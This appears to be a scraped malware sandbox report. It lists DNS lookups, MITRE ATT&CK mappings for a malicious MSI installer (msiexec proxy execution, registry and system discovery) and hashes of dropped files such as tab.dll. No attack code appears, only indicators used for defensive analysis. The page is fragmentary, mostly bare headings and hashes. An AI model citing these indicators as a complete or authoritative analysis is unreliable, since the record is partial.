140 B
1
1

DNS Request

230.166.143.45.in-addr.arpa
8.8.8.8:53

89.134.221.88.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

89.134.221.88.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57a76e.rbs

Filesize
1KB

MD5
0f8072066d82d7402094b239c5f3283b

SHA1
24f7913cad4302f796ed621313fa171b0595b521

SHA256
ee9f5e85020c9cec0d83b4aad60556642edf846fa6e807d3ce3cf165415a58ad

SHA512
b443e94046f4477ce67975c97056fd71647091a508843d7058e211b8662411f90cf4ce159c5b0582c3c73551d6119d0dbca7871c072f12e9e6f353bf70fbb18f

Download Submit
C:\Users\Admin\AppData\Roaming\tab.dll

Filesize
1.6MB

MD5
4f4a164b5f9ef20be601531a727179a2

SHA1
1601622dc7caef28ce413e1d73b4d4596aabfc50

SHA256
0f23855e56eb6ec760717be43280eeeeaec1aeef939f9ae6a41daf1b8e3bd306

SHA512
de09d9f0048a19c7efa7ffae01f58c41e619e09e6ec56e4b818b58846672a0772c58913ba5ad4c86b746d91399894a21bf51225c1737a0652b1c85ffa3307030

Download Submit
C:\Windows\Installer\MSIA7B9.tmp

Filesize
436KB

MD5
475d20c0ea477a35660e3f67ecf0a1df

SHA1
67340739f51e1134ae8f0ffc5ae9dd710e8e3a08

SHA256
426e6cf199a8268e8a7763ec3a4dd7add982b28c51d89ebea90ca792cbae14dd

SHA512
99525aaab2ab608134b5d66b5313e7fc3c2e2877395c5c171897d7a6c66efb26b606de1a4cb01118c2738ea4b6542e4eb4983e631231b3f340bf85e509a9589e

Download Submit
C:\Windows\Installer\MSIAC43.tmp

Filesize
389KB

MD5
b9545ed17695a32face8c3408a6a3553

SHA1
f6c31c9cd832ae2aebcd88e7b2fa6803ae93fc83

SHA256
1e0e63b446eecf6c9781c7d1cae1f46a3bb31654a70612f71f31538fb4f4729a

SHA512
f6d6dc40dcba5ff091452d7cc257427dcb7ce2a21816b4fec2ee249e63246b64667f5c4095220623533243103876433ef8c12c9b612c0e95fdfffe41d1504e04

Download Submit
\??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2

Filesize
24.1MB

MD5
667086549b26d9018b35d1340eb0847b

SHA1
1be230022d75a198a3afaf1c3b3545a03d4a199c

SHA256
3040e131f6f598e44c7951aaacd4e623ddf26488df4e368016d0ec93a0c7476e

SHA512
64a35573b0e7d49b68e86ed8ee75ead3fccf76f93411e39c50789b22b9999b5fc4943eb6fb26120f047979cc8264edce5ec69405d972d930202d140458469d07

Download Submit
\??\Volume{1541411d-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{c4f88144-7f04-4607-bc7a-8ff1ea06b40e}_OnDiskSnapshotProp

Filesize
6KB

MD5
c6b1a10bda73ddaf1a08773e87b6d1b2

SHA1
279d506fdc957abd829801c0d4243cf2f056d6b1

SHA256
a8e29bb2fa9758300fb4631aaa026c3b15cb7adc8d0b7af7a4a44d2497e8f296

SHA512
7060b7ee1974e527e087460595b5ec1c968de4302ebc71fbda6b2bd82eacbc5c9669039521d2a94011f4c37ddb7e2d57f2bfd647437153064dbcdfc7ecd7b6c6

Download Submit
memory/3488-69-0x0000000002860000-0x0000000002875000-memory.dmp

Filesize
84KB

Download
memory/3488-68-0x0000000002860000-0x0000000002875000-memory.dmp

Filesize
84KB

Download
memory/5000-62-0x00007FF4389A0000-0x00007FF4389A1000-memory.dmp

Filesize
4KB

Download
memory/5000-63-0x00007FF438980000-0x00007FF438995000-memory.dmp

Filesize
84KB

Download
memory/5000-67-0x00007FF438940000-0x00007FF438941000-memory.dmp

Filesize
4KB

Download
memory/5000-66-0x00007FF438950000-0x00007FF438951000-memory.dmp

Filesize
4KB

Download
memory/5000-65-0x00007FF438960000-0x00007FF438961000-memory.dmp

Filesize
4KB

Download
memory/5000-64-0x00007FF438970000-0x00007FF438971000-memory.dmp

Filesize
4KB

Download
memory/5000-47-0x000001DF76320000-0x000001DF7636C000-memory.dmp

Filesize
304KB

Download
memory/5000-75-0x000001DF76320000-0x000001DF7636C000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

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